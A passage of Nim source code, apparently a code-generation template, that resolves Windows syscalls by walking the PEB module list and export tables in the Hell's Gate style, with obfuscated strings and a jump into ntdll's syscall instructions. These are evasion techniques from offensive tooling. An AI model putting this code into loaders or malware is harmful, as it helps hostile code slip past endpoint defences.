|
|
offset = offset + 1
|
|
|
|
when defined(verbose):
|
|
echo obf("[!] Did not find a syscall instruction in ntdll...")
|
|
quit(1)
|
|
]#
|
|
proc getNextModule(flink : var LIST_ENTRY) : PLDR_DATA_TABLE_ENTRY =
|
|
flink = flink.Flink[]
|
|
return flinkToModule(flink)
|
|
|
|
proc searchLoadedModules(pCurrentPeb : PPEB, tableEntry : var HG_TABLE_ENTRY) : bool =
|
|
var
|
|
currFlink : LIST_ENTRY = pCurrentPeb.Ldr.InMemoryOrderModuleList.Flink[]
|
|
currModule : PLDR_DATA_TABLE_ENTRY = flinkToModule(currFlink)
|
|
moduleName : string
|
|
pExportTable : PIMAGE_EXPORT_DIRECTORY
|
|
let
|
|
beginModule = currModule
|
|
|
|
while true:
|
|
|
|
moduleName = $moduleToBuffer(currModule)
|
|
|
|
if moduleName.len() == 0 or moduleName in paramStr(0):
|
|
currModule = getNextModule(currFlink)
|
|
if beginModule == currModule:
|
|
break
|
|
continue
|
|
# Not needed anymore, as we are now jumping to the corresponding syscall in ntdll.dll instead of the first one
|
|
#if obf("ntdll") in moduleName.toLower():
|
|
# syscallJumpAddress = getSyscallInstructionAddress(currModule.DLLBase)
|
|
|
|
if not getExportTable(currModule, pExportTable):
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to get export table...")
|
|
return false
|
|
|
|
if getTableEntry(currModule.DLLBase, pExportTable, tableEntry):
|
|
return true
|
|
|
|
currModule = getNextModule(currFlink)
|
|
if beginModule == currModule:
|
|
break
|
|
return false
|
|
|
|
proc getSyscall(tableEntry : var HG_TABLE_ENTRY) : bool =
|
|
|
|
let currentPeb : PPEB = GetPEBAsm64()
|
|
|
|
if not searchLoadedModules(currentPeb, tableEntry):
|
|
return false
|
|
|
|
return true
|
|
|
|
|
|
"""
|
|
|